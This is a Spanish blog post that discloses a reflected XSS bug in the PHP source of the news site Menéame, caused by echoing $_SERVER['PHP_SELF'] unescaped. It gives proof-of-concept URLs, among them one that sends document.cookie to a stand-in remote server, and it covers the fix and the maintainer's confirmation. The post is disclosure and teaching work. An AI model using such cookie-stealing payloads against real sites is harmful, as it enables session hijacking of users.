¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:
echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:
<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->

<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:
http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. 😀

Links recomendados

4 Replies to “¿Menéame, vulnerable a ataques XSS?”

  1. ¡Muchas gracias! Ni lo había pensado que esa variable es modificable desde el url (y ahora me doy cuenta de los errores que había visto en el syslog y no sabía de qué era, seguramente tus pruebas 🙂 ).

    Está arreglado, aunque sigo mirando, el htmlspecialchars() (que es el que usado ahora) no me termina de convencer para "limpiarlo".

    Sigo mirando sobre el tema.

  2. Con respecto a los logs: efectivamente, estuve haciendo unas cuantas pruebas 🙂

    Otra alternativa para evitar este tipo de ataques, es utilizar modsecurity (módulo para apache), aunque lamentablemente muchas veces no se tiene el control sobre el servidor.

    Saludos

  3. Pingback: meneame.net

Comments are closed.